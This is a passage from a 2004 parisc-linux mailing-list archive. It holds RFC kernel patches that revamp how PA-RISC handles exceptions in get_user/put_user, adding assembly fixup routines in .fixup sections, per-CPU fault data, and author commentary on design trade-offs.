+++ arch/parisc/lib/fixup.S	14 Sep 2004 02:34:06 -0000
@@ -0,0 +1,89 @@
+/*
+ * Linux/PA-RISC Project (http://www.parisc-linux.org/)
+ *
+ *  Copyright (C) 2004  Randolph Chung <tausq@debian.org>
+ *
+ *    This program is free software; you can redistribute it and/or modify
+ *    it under the terms of the GNU General Public License as published by
+ *    the Free Software Foundation; either version 2, or (at your option)
+ *    any later version.
+ *
+ *    This program is distributed in the hope that it will be useful,
+ *    but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *    GNU General Public License for more details.
+ *
+ *    You should have received a copy of the GNU General Public License
+ *    along with this program; if not, write to the Free Software
+ *    Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ * 
+ * Fixup routines for kernel exception handling.
+ */
+#include <linux/config.h>
+#include <asm/offsets.h>
+#include <asm/assembly.h>
+#include <asm/errno.h>
+
+#ifdef CONFIG_SMP
+	.macro  get_fault_ip t1 t2
+	addil LT%__per_cpu_offset,%r27
+	LDREG RT%__per_cpu_offset(%r1),\t1
+	/* t2 = smp_processor_id() */
+	mfctl 30,\t2
+	ldw TI_CPU(\t2),\t2
+#ifdef __LP64__
+	extrd,u \t2,63,32,\t2
+#endif
+	/* t2 = &__per_cpu_offset[smp_processor_id()]; */
+	LDREG,s \t2(\t1),\t2 
+	addil LT%per_cpu__exception_data,%r27
+	LDREG RT%per_cpu__exception_data(%r1),\t1
+	/* t1 = &__get_cpu_var(exception_data) */
+	add,l \t1,\t2,\t1
+	/* t1 = t1->fault_ip */
+	LDREG EXCDATA_IP(\t1), \t1
+	.endm
+#else
+	.macro  get_fault_ip t1 t2
+	/* t1 = &__get_cpu_var(exception_data) */
+	addil LT%per_cpu__exception_data,%r27
+	LDREG RT%per_cpu__exception_data(%r1),\t2
+	/* t1 = t2->fault_ip */
+	LDREG EXCDATA_IP(\t2), \t1
+	.endm
+#endif
+
+	.text
+	.section .fixup, "ax"
+
+	/* get_user() fixups, store -EFAULT in r8, and 0 in r9 */
+	.export fixup_get_user_skip_1
+fixup_get_user_skip_1:
+	get_fault_ip %r1,%r8
+	ldo 4(%r1), %r1
+	ldi -EFAULT, %r8
+	bv %r0(%r1)
+	copy %r0, %r9
+
+	.export fixup_get_user_skip_2
+fixup_get_user_skip_2:
+	get_fault_ip %r1,%r8
+	ldo 8(%r1), %r1
+	ldi -EFAULT, %r8
+	bv %r0(%r1)
+	copy %r0, %r9
+
+	/* put_user() fixups, store -EFAULT in r8 */
+	.export fixup_put_user_skip_1
+fixup_put_user_skip_1:
+	get_fault_ip %r1,%r8
+	ldo 4(%r1), %r1
+	bv %r0(%r1)
+	ldi -EFAULT, %r8
+
+	.export fixup_put_user_skip_2
+fixup_put_user_skip_2:
+	get_fault_ip %r1,%r8
+	ldo 8(%r1), %r1
+	bv %r0(%r1)
+	ldi -EFAULT, %r8
Index: arch/parisc/lib/lusercopy.S
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/lib/lusercopy.S,v
retrieving revision 1.3
diff -u -p -r1.3 lusercopy.S
--- arch/parisc/lib/lusercopy.S	17 Jan 2004 06:39:24 -0000	1.3
+++ arch/parisc/lib/lusercopy.S	14 Sep 2004 02:34:06 -0000
@@ -53,6 +53,18 @@
 	mtsp        %r1,%sr1
 	.endm
 
+#ifndef __LP64__
+	.macro fixup_branch lbl
+	b	    \lbl
+	.endm
+#else
+	.macro fixup_branch lbl
+	ldil	    L%\lbl, %r1
+	ldo	    R%\lbl(%r1), %r1
+	bv,n        %r0(%r1)
+	.endm
+#endif
+
 	/*
 	 * unsigned long
 	 * lcopy_to_user(void *to, const void *from, unsigned long n)
@@ -77,14 +89,16 @@ $lctu_done:
 	copy        %r24,%r28
 	.exit
 
-2:      b $lctu_done
+	.section .fixup,"ax"
+2:      fixup_branch $lctu_done
 	ldo         1(%r24),%r24
+	.previous
 
-	.section __ex_table,"a"
+	.section __ex_table,"aw"
 #ifdef __LP64__
-	.dword      1b,(2b-1b)
+	.dword      1b,2b
 #else
-	.word       1b,(2b-1b)
+	.word       1b,2b
 #endif
 	.previous
 
@@ -118,18 +132,20 @@ $lcfu_done:
 	copy        %r24,%r28
 	.exit
 
+	.section .fixup,"ax"
 2:      copy        %r24,%r23
 $lcfu_zero_loop:
 	addib,<>    -1,%r23,$lcfu_zero_loop
 	stbs,ma     %r0,1(%r26)
-	b           $lcfu_done
+	fixup_branch $lcfu_done
 	nop
+	.previous
 
-	.section __ex_table,"a"
+	.section __ex_table,"aw"
 #ifdef __LP64__
-	.dword      1b,(2b-1b)
+	.dword      1b,2b
 #else
-	.word       1b,(2b-1b)
+	.word       1b,2b
 #endif
 	.previous
 
@@ -159,14 +175,16 @@ $lciu_done:
 	copy        %r24,%r28
 	.exit
 
-2:      b $lciu_done
+	.section .fixup,"ax"
+2:      fixup_branch $lciu_done
 	ldo         1(%r24),%r24
+	.previous
 
-	.section __ex_table,"a"
+	.section __ex_table,"aw"
 #ifdef __LP64__
-	.dword      1b,(2b-1b)
+	.dword      1b,2b
 #else
-	.word       1b,(2b-1b)
+	.word       1b,2b
 #endif
 	.previous
 
@@ -201,16 +219,18 @@ $lsfu_exit:
 	nop
 	.exit
 
-3:      b           $lsfu_exit
+	.section .fixup,"ax"
+3:      fixup_branch $lsfu_exit
 	ldi         -EFAULT,%r28
+	.previous
 
-	.section __ex_table,"a"
+	.section __ex_table,"aw"
 #ifdef __LP64__
-	.dword      1b,(3b-1b)
-	.dword      2b,(3b-2b)
+	.dword      1b,3b
+	.dword      2b,3b
 #else
-	.word       1b,(3b-1b)
-	.word       2b,(3b-2b)
+	.word       1b,3b
+	.word       2b,3b
 #endif
 	.previous
 
@@ -239,14 +259,16 @@ $lclu_done:
 	copy        %r25,%r28
 	.exit
 
-2:      b $lclu_done
+	.section .fixup,"ax"
+2:      fixup_branch $lclu_done
 	ldo        1(%r25),%r25
+	.previous
 
-	.section __ex_table,"a"
+	.section __ex_table,"aw"
 #ifdef __LP64__
-	.dword      1b,(2b-1b)
+	.dword      1b,2b
 #else
-	.word       1b,(2b-1b)
+	.word       1b,2b
 #endif
 	.previous
 
@@ -282,16 +304,18 @@ $lslen_nzero:
 	b           $lslen_done
 	ldo         1(%r26),%r26 /* special case for N == 0 */
 
-3:      b           $lslen_done
+	.section .fixup,"ax"
+3:      fixup_branch $lslen_done
 	copy        %r24,%r26    /* reset r26 so 0 is returned on fault */
+	.previous
 
-	.section __ex_table,"a"
+	.section __ex_table,"aw"
 #ifdef __LP64__
-	.dword      1b,(3b-1b)
-	.dword      2b,(3b-2b)
+	.dword      1b,3b
+	.dword      2b,3b
 #else
-	.word       1b,(3b-1b)
-	.word       2b,(3b-2b)
+	.word       1b,3b
+	.word       2b,3b
 #endif
 	.previous
 
Index: arch/parisc/mm/fault.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/mm/fault.c,v
retrieving revision 1.1
diff -u -p -r1.1 fault.c
--- arch/parisc/mm/fault.c	29 Jul 2003 17:00:42 -0000	1.1
+++ arch/parisc/mm/fault.c	14 Sep 2004 02:34:06 -0000
@@ -36,6 +36,9 @@
 
 #define BITSSET		0x1c0	/* for identifying LDCW */
 
+
+DEFINE_PER_CPU(struct exception_data, exception_data);
+
 /*
  * parisc_acctyp(unsigned int inst) --
  *    Given a PA-RISC memory access instruction, determine if the
@@ -234,13 +237,16 @@ no_context:
 		fix = search_exception_tables(regs->iaoq[0]);
 
 		if (fix) {
+			struct exception_data *d;
+
+printk("applying fixup for 0x%lx, fixup at 0x%lx\n", regs->iaoq[0], fix->fixup & ~3);
 
-			if (fix->skip & 1) 
-				regs->gr[8] = -EFAULT;
-			if (fix->skip & 2)
-				regs->gr[9] = 0;
+			d = &__get_cpu_var(exception_data);
+			d->fault_ip = regs->iaoq[0];
+			d->fault_space = regs->isr;
+			d->fault_addr = regs->ior;
 
-			regs->iaoq[0] += ((fix->skip) & ~3);
+			regs->iaoq[0] = ((fix->fixup) & ~3);
 
 			/*
 			 * NOTE: In some cases the faulting instruction
Index: include/asm-parisc/uaccess.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/uaccess.h,v
retrieving revision 1.13
diff -u -p -r1.13 uaccess.h
--- include/asm-parisc/uaccess.h	4 Feb 2004 18:24:55 -0000	1.13
+++ include/asm-parisc/uaccess.h	14 Sep 2004 02:34:28 -0000
@@ -54,16 +54,22 @@ extern int __put_user_bad(void);
 /*
  * The exception table contains two values: the first is an address
  * for an instruction that is allowed to fault, and the second is
- * the number of bytes to skip if a fault occurs. We also support in
- * two bit flags: 0x2 tells the exception handler to clear register
- * r9 and 0x1 tells the exception handler to put -EFAULT in r8.
- * This allows us to handle the simple cases for put_user and
- * get_user without having to have .fixup sections.
+ * the address to the fixup routine. 
  */
 
 struct exception_table_entry {
 	unsigned long insn;  /* address of insn that is allowed to fault.   */
-	long skip;           /* pcoq skip | r9 clear flag | r8 -EFAULT flag */
+	long fixup;          /* fixup routine */
+};
+
+/*
+ * The page fault handler stores, in a per-cpu area, the following information
+ * if a fixup routine is available.
+ */
+struct exception_data {
+	unsigned long fault_ip;
+	unsigned long fault_space;
+	unsigned long fault_addr;
 };
 
 #define __get_user(x,ptr)                               \
@@ -97,48 +103,44 @@ struct exception_table_entry {
 #ifdef __LP64__
 #define __get_kernel_asm(ldx,ptr)                       \
 	__asm__("\n1:\t" ldx "\t0(%2),%0\n"             \
-		"2:\n"					\
-		"\t.section __ex_table,\"aw\"\n"         \
-		 "\t.dword\t1b\n"                       \
-		 "\t.dword\t(2b-1b)+3\n"                \
-		 "\t.previous"                          \
+		"\t.section __ex_table,\"aw\"\n"        \
+		"\t.dword\t1b,fixup_get_user_skip_1\n"	\
+		"\t.previous"                          	\
 		: "=r"(__gu_val), "=r"(__gu_err)        \
-		: "r"(ptr), "1"(__gu_err));
+		: "r"(ptr), "1"(__gu_err)		\
+		: "r1");
 
 #define __get_user_asm(ldx,ptr)                         \
 	__asm__("\n1:\t" ldx "\t0(%%sr3,%2),%0\n"       \
-		"2:\n"					\
-		"\t.section __ex_table,\"aw\"\n"         \
-		 "\t.dword\t1b\n"                       \
-		 "\t.dword\t(2b-1b)+3\n"                \
-		 "\t.previous"                          \
+		"\t.section __ex_table,\"aw\"\n"	\
+		"\t.dword\t1b,fixup_get_user_skip_1\n"	\
+		"\t.previous"				\
 		: "=r"(__gu_val), "=r"(__gu_err)        \
-		: "r"(ptr), "1"(__gu_err));
+		: "r"(ptr), "1"(__gu_err)		\
+		: "r1");
 #else
 #define __get_kernel_asm(ldx,ptr)                       \
 	__asm__("\n1:\t" ldx "\t0(%2),%0\n"             \
-		"2:\n"					\
-		"\t.section __ex_table,\"aw\"\n"         \
-		 "\t.word\t1b\n"                        \
-		 "\t.word\t(2b-1b)+3\n"                 \
-		 "\t.previous"                          \
+		"\t.section __ex_table,\"aw\"\n"        \
+		"\t.word\t1b,fixup_get_user_skip_1\n"	\
+		"\t.previous"                          	\
 		: "=r"(__gu_val), "=r"(__gu_err)        \
-		: "r"(ptr), "1"(__gu_err));
+		: "r"(ptr), "1"(__gu_err)		\
+		: "r1");
 
 #define __get_user_asm(ldx,ptr)                         \
 	__asm__("\n1:\t" ldx "\t0(%%sr3,%2),%0\n"       \
-		"2:\n"					\
-		"\t.section __ex_table,\"aw\"\n"         \
-		 "\t.word\t1b\n"                        \
-		 "\t.word\t(2b-1b)+3\n"                 \
+		"\t.section __ex_table,\"aw\"\n"	\
+		 "\t.word\t1b,fixup_get_user_skip_1\n"	\
 		 "\t.previous"                          \
 		: "=r"(__gu_val), "=r"(__gu_err)        \
-		: "r"(ptr), "1"(__gu_err));
+		: "r"(ptr), "1"(__gu_err)		\
+		: "r1");
 #endif /* !__LP64__ */
 
 #define __put_user(x,ptr)                                       \
 ({								\
-	register long __pu_err __asm__ ("r8") = 0;		\
+	register long __pu_err __asm__ ("r8") = 0;      	\
 								\
 	if (segment_eq(get_fs(),KERNEL_DS)) {                   \
 	    switch (sizeof(*(ptr))) {                           \
@@ -172,82 +174,73 @@ struct exception_table_entry {
 #define __put_kernel_asm(stx,x,ptr)                         \
 	__asm__ __volatile__ (                              \
 		"\n1:\t" stx "\t%2,0(%1)\n"                 \
-		"2:\n"					    \
-		"\t.section __ex_table,\"aw\"\n"             \
-		 "\t.dword\t1b\n"                           \
-		 "\t.dword\t(2b-1b)+1\n"                    \
-		 "\t.previous"                              \
+		"\t.section __ex_table,\"aw\"\n"            \
+		"\t.dword\t1b,fixup_put_user_skip_1\n"	    \
+		"\t.previous"                               \
 		: "=r"(__pu_err)                            \
 		: "r"(ptr), "r"(x), "0"(__pu_err))
 
 #define __put_user_asm(stx,x,ptr)                           \
 	__asm__ __volatile__ (                              \
 		"\n1:\t" stx "\t%2,0(%%sr3,%1)\n"           \
-		"2:\n"					    \
-		"\t.section __ex_table,\"aw\"\n"             \
-		 "\t.dword\t1b\n"                           \
-		 "\t.dword\t(2b-1b)+1\n"                    \
+		"\t.section __ex_table,\"aw\"\n"            \
+		 "\t.dword\t1b,fixup_put_user_skip_1\n"	    \
 		 "\t.previous"                              \
 		: "=r"(__pu_err)                            \
-		: "r"(ptr), "r"(x), "0"(__pu_err))
+		: "r"(ptr), "r"(x), "0"(__pu_err)	    \
+		: "r1")
 #else
 #define __put_kernel_asm(stx,x,ptr)                         \
 	__asm__ __volatile__ (                              \
 		"\n1:\t" stx "\t%2,0(%1)\n"                 \
-		"2:\n"					    \
-		"\t.section __ex_table,\"aw\"\n"             \
-		 "\t.word\t1b\n"                            \
-		 "\t.word\t(2b-1b)+1\n"                     \
+		"\t.section __ex_table,\"aw\"\n"            \
+		 "\t.word\t1b,fixup_put_user_skip_1\n"	    \
 		 "\t.previous"                              \
 		: "=r"(__pu_err)                            \
-		: "r"(ptr), "r"(x), "0"(__pu_err))
+		: "r"(ptr), "r"(x), "0"(__pu_err)	    \
+		: "r1")
 
 #define __put_user_asm(stx,x,ptr)                           \
 	__asm__ __volatile__ (                              \
 		"\n1:\t" stx "\t%2,0(%%sr3,%1)\n"           \
-		"2:\n"					    \
-		"\t.section __ex_table,\"aw\"\n"             \
-		 "\t.word\t1b\n"                            \
-		 "\t.word\t(2b-1b)+1\n"                     \
+		"\t.section __ex_table,\"aw\"\n"            \
+		 "\t.word\t1b,fixup_put_user_skip_1\n"      \
 		 "\t.previous"                              \
 		: "=r"(__pu_err)                            \
-		: "r"(ptr), "r"(x), "0"(__pu_err))
+		: "r"(ptr), "r"(x), "0"(__pu_err)	    \
+		: "r1")
 
-static inline void __put_kernel_asm64(u64 x, void *ptr)
-{
-	u32 hi = x>>32;
-	u32 lo = x&0xffffffff;
-	__asm__ __volatile__ (
-		"\n1:\tstw %1,0(%0)\n"
-		"\n2:\tstw %2,4(%0)\n"
-		"3:\n"
-		"\t.section __ex_table,\"aw\"\n"
-		 "\t.word\t1b\n"
-		 "\t.word\t(3b-1b)+1\n"
-		 "\t.word\t2b\n"
-		 "\t.word\t(3b-2b)+1\n"
-		 "\t.previous"
-		: : "r"(ptr), "r"(hi), "r"(lo));
-
-}
-
-static inline void __put_user_asm64(u64 x, void *ptr)
-{
-	u32 hi = x>>32;
-	u32 lo = x&0xffffffff;
-	__asm__ __volatile__ (
-		"\n1:\tstw %1,0(%%sr3,%0)\n"
-		"\n2:\tstw %2,4(%%sr3,%0)\n"
-		"3:\n"
-		"\t.section __ex_table,\"aw\"\n"
-		 "\t.word\t1b\n"
-		 "\t.word\t(3b-1b)+1\n"
-		 "\t.word\t2b\n"
-		 "\t.word\t(3b-2b)+1\n"
-		 "\t.previous"
-		: : "r"(ptr), "r"(hi), "r"(lo));
-
-}
+#define __put_kernel_asm64(_x,ptr) do {		    	    \
+	u64 x = (u64)_x;				    \
+	u32 hi = x>>32;					    \
+	u32 lo = x&0xffffffff;				    \
+	__asm__ __volatile__ (				    \
+		"\n1:\tstw %2,0(%1)\n"			    \
+		"\n2:\tstw %3,4(%1)\n"			    \
+		"\t.section __ex_table,\"aw\"\n"	    \
+		 "\t.word\t1b,fixup_put_user_skip_2\n"	    \
+		 "\t.word\t2b,fixup_put_user_skip_1\n"	    \
+		 "\t.previous"				    \
+		: "=r"(__pu_err)                            \
+		: "r"(ptr), "r"(hi), "r"(lo), "0"(__pu_err) \
+		: "r1");				    \
+} while (0)
+
+#define __put_user_asm64(_x,ptr) do {		    	    \
+	u64 x = (u64)_x;				    \
+	u32 hi = x>>32;					    \
+	u32 lo = x&0xffffffff;				    \
+	__asm__ __volatile__ (				    \
+		"\n1:\tstw %2,0(%%sr3,%1)\n"		    \
+		"\n2:\tstw %3,4(%%sr3,%1)\n"		    \
+		"\t.section __ex_table,\"aw\"\n"	    \
+		 "\t.word\t1b,fixup_get_user_skip_2\n"	    \
+		 "\t.word\t2b,fixup_get_user_skip_1\n"	    \
+		 "\t.previous"				    \
+		: "=r"(__pu_err)                            \
+		: "r"(ptr), "r"(hi), "r"(lo), "0"(__pu_err) \
+		: "r1");				    \
+} while (0)
 
 #endif /* !__LP64__ */
 

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] Revamp exception handling in the kernel
Date: Mon, 13 Sep 2004 16:37:42 -0700
Lines: 935
Approved: news@gmane.org
Message-ID: <20040913233742.GW28659@tausq.org>
References: <20040911165325.GO28659@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623556 11059 80.91.229.3 (22 Nov 2014 02:32:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:36 +0000 (UTC)
To: PARISC list <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 23677 invoked by uid 65534); 13 Sep 2004 23:38:16 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx031) with SMTP; 14 Sep 2004 01:38:16 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id EDBB03BE17; Mon, 13 Sep 2004 17:38:04 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20562-09; Mon, 13 Sep 2004 17:38:04 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id DCA8D3BE22; Mon, 13 Sep 2004 17:37:47 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 65E6D3BE17
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 13 Sep 2004 17:37:41 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 20080-09 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 13 Sep 2004 17:37:40 -0600 (MDT)
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by free.linux.hp.com (Postfix) with ESMTP id 545C33BDE6
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 13 Sep 2004 17:37:39 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 5FA5ACD2CB; Mon, 13 Sep 2004 16:37:42 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20040911165325.GO28659@tausq.org>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21988

Version 2 of the patch. Changes from the previous version:

- Uses centralized exception handling for get_user/put_user
- Uses per-cpu variables to store the fault ip, fault space and fault
  address (not controlled by a flag)
- 64-bit get_user/put_user for 32-bit kernels is a bit broken in the old
  code. this contains a fix for that as well.

Tested against 2.6.8.1-pa11 for 64-UP and 64-SMP

jejb asked me why we don't do the fixup in C code. It seems to me that
in order to do that, we will need to mark all the caller-saved registers
as clobbered by get_user/put_user. That may cause a large amount of
register spills across those calls, even for non-faulting cases. 
But the alternative (as implemented below) is some rather nasty-looking
asm code in the fixup handler. A third alternative might be for the 
fixup handler to create a stack frame and save/restore caller-saved 
registers across a call to a C-code handler. seems like a lot of 
work....

Thoughts?

randolph


Index: arch/parisc/kernel/asm-offsets.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/asm-offsets.c,v
retrieving revision 1.9
diff -u -p -r1.9 asm-offsets.c
--- arch/parisc/kernel/asm-offsets.c	8 May 2004 14:12:45 -0000	1.9
+++ arch/parisc/kernel/asm-offsets.c	13 Sep 2004 23:31:46 -0000
@@ -38,6 +38,7 @@
 #include <asm/processor.h>
 #include <asm/hardirq.h>
 #include <asm/pdc.h>
+#include <asm/uaccess.h>
 
 #define DEFINE(sym, val) \
 	asm volatile("\n->" #sym " %0 " #val : : "i" (val))
@@ -291,5 +292,8 @@ int main(void)
 	DEFINE(ASM_PT_INITIAL, PT_INITIAL);
 	DEFINE(ASM_PAGE_SIZE, PAGE_SIZE);
 	BLANK();
+	DEFINE(EXCDATA_IP, offsetof(struct exception_data, fault_ip));
+	DEFINE(EXCDATA_SPACE, offsetof(struct exception_data, fault_space));
+	DEFINE(EXCDATA_ADDR, offsetof(struct exception_data, fault_addr));
 	return 0;
 }
Index: arch/parisc/kernel/syscall.S
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/syscall.S,v
retrieving revision 1.14
diff -u -p -r1.14 syscall.S
--- arch/parisc/kernel/syscall.S	10 Sep 2004 14:52:01 -0000	1.14
+++ arch/parisc/kernel/syscall.S	13 Sep 2004 23:31:46 -0000
@@ -29,6 +29,19 @@
 #else
 	.level		1.1
 #endif
+
+#ifndef __LP64__
+	.macro fixup_branch,lbl
+	b	    \lbl
+	.endm
+#else
+	.macro fixup_branch,lbl
+	ldil	    L%\lbl, %r1
+	ldo	    R%\lbl(%r1), %r1
+	bv,n        %r0(%r1)
+	.endm
+#endif
+
 	.text
 
 	.import syscall_exit,code
@@ -575,10 +588,8 @@ cas_action:
 	/* Return to userspace, set no error */
 	b	lws_exit
 	copy	%r0, %r21
-	nop	/* Add some visual space in objdump */
-	nop
-	nop
-	nop
+
+	.section .fixup,"ax"
 3:		
 	/* Error occured on load or store */
 #ifdef CONFIG_SMP
@@ -588,12 +599,13 @@ cas_action:
 	stw	%r0, 4(%sr2,%r20)
 # endif
 #endif
-	b	lws_exit
+	fixup_branch lws_exit
 	ldo	-EFAULT(%r0),%r21	/* set errno */
 	nop
 	nop
 	nop
 	nop
+	.previous
 
 	/* Two exception table entries, one for the load,
 	   the other for the store. Either return -EFAULT */
@@ -601,10 +613,10 @@ cas_action:
 #ifdef __LP64__
 	/* Pad the address calculation */
 	.word	0,(2b - linux_gateway_page)
-	.dword	(3b - 2b) 
+	.dword	3b
 #else
 	.word	2b - linux_gateway_page
-	.word	(3b - 2b) 
+	.word	3b
 #endif
 	.previous
 
@@ -612,10 +624,10 @@ cas_action:
 #ifdef __LP64__
 	/* Pad the address calculation */
 	.word	0,(1b - linux_gateway_page)
-	.dword	(3b - 1b) 
+	.dword	3b
 #else
 	.word	1b - linux_gateway_page
-	.word	(3b - 1b) 
+	.word	3b
 #endif
 	.previous
 
Index: arch/parisc/kernel/unaligned.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/unaligned.c,v
retrieving revision 1.8
diff -u -p -r1.8 unaligned.c
--- arch/parisc/kernel/unaligned.c	21 Aug 2004 06:19:33 -0000	1.8
+++ arch/parisc/kernel/unaligned.c	13 Sep 2004 23:31:46 -0000
@@ -23,6 +23,7 @@
 #include <linux/config.h>
 #include <linux/kernel.h>
 #include <linux/module.h>
+#include <asm/uaccess.h>
 
 /* #define DEBUG_UNALIGNED 1 */
 
@@ -34,8 +35,14 @@
 
 #ifdef __LP64__
 #define RFMT "%016lx"
+#define FIXUP_BRANCH(lbl) \
+	"\tb " #lbl "\n"
 #else
 #define RFMT "%08lx"
+#define FIXUP_BRANCH(lbl) \
+	"\tldil L%%" #lbl ", %%r1\n"			\
+	"\tldo R%%" #lbl "(%%r1), %%r1\n"		\
+	"\tbv,n %%r0(%%r1)\n"
 #endif
 
 /* 1111 1100 0000 0000 0001 0011 1100 0000 */
@@ -134,15 +141,19 @@ static int emulate_ldh(struct pt_regs *r
 "1:	ldbs	0(%%sr1,%3), %%r20\n"
 "2:	ldbs	1(%%sr1,%3), %0\n"
 "	depw	%%r20, 23, 24, %0\n"
-"	cmpclr,= %%r0, %%r0, %1\n"
-"3:	ldo	-2(%%r0), %1\n"
-"	.section __ex_table,\"a\"\n"
+"	copy	%%r0, %1\n"
+"3:	\n"
+"	.section .fixup,\"ax\"\n"
+"4:	ldi	-2, %1\n"
+	FIXUP_BRANCH(3b)
+"	.previous\n"
+"	.section __ex_table,\"aw\"\n"
 #ifdef __LP64__
-"	.dword	1b,(3b-1b)\n"
-"	.dword  2b,(3b-2b)\n"
+"	.dword	1b,4b\n"
+"	.dword  2b,4b\n"
 #else
-"	.word	1b,(3b-1b)\n"
-"	.word	2b,(3b-2b)\n"
+"	.word	1b,4b\n"
+"	.word	2b,4b\n"
 #endif
 "	.previous\n"
 	: "=r" (val), "=r" (ret)
@@ -175,15 +186,19 @@ static int emulate_ldw(struct pt_regs *r
 "	subi	32,%%r19,%%r19\n"
 "	mtctl	%%r19,11\n"
 "	vshd	%0,%%r20,%0\n"
-"	cmpclr,= %%r0, %%r0, %1\n"
-"3:	ldo	-2(%%r0), %1\n"
-"	.section __ex_table,\"a\"\n"
+"	copy	%%r0, %1\n"
+"3:	\n"
+"	.section .fixup,\"ax\"\n"
+"4:	ldi	-2, %1\n"
+	FIXUP_BRANCH(3b)
+"	.previous\n"
+"	.section __ex_table,\"aw\"\n"
 #ifdef __LP64__
-"	.dword	1b,(3b-1b)\n"
-"	.dword  2b,(3b-2b)\n"
+"	.dword	1b,4b\n"
+"	.dword  2b,4b\n"
 #else
-"	.word	1b,(3b-1b)\n"
-"	.word	2b,(3b-2b)\n"
+"	.word	1b,4b\n"
+"	.word	2b,4b\n"
 #endif
 "	.previous\n"
 	: "=r" (val), "=r" (ret)
@@ -222,15 +237,19 @@ static int emulate_ldd(struct pt_regs *r
 "	subi	64,%%r19,%%r19\n"
 "	mtsar	%%r19\n"
 "	shrpd	%0,%%r20,%%sar,%0\n"
-"	cmpclr,= %%r0, %%r0, %1\n"
-"3:	ldo	-2(%%r0), %1\n"
-"	.section __ex_table,\"a\"\n"
+"	copy	%%r0, %1\n"
+"3:	\n"
+"	.section .fixup,\"ax\"\n"
+"4:	ldi	-2, %1\n"
+	FIXUP_BRANCH(3b)
+"	.previous\n"
+"	.section __ex_table,\"aw\"\n"
 #ifdef __LP64__
-"	.dword	1b,(3b-1b)\n"
-"	.dword  2b,(3b-2b)\n"
+"	.dword	1b,4b\n"
+"	.dword  2b,4b\n"
 #else
-"	.word	1b,(3b-1b)\n"
-"	.word	2b,(3b-2b)\n"
+"	.word	1b,4b\n"
+"	.word	2b,4b\n"
 #endif
 "	.previous\n"
 	: "=r" (val), "=r" (ret)
@@ -250,17 +269,20 @@ static int emulate_ldd(struct pt_regs *r
 "	mtsar	%%r19\n"
 "	vshd	%0,%1,%0\n"
 "	vshd	%1,%%r20,%1\n"
-"	cmpclr,= %%r0, %%r0, %2\n"
-"4:	ldo	-2(%%r0), %2\n"
-"	.section __ex_table,\"a\"\n"
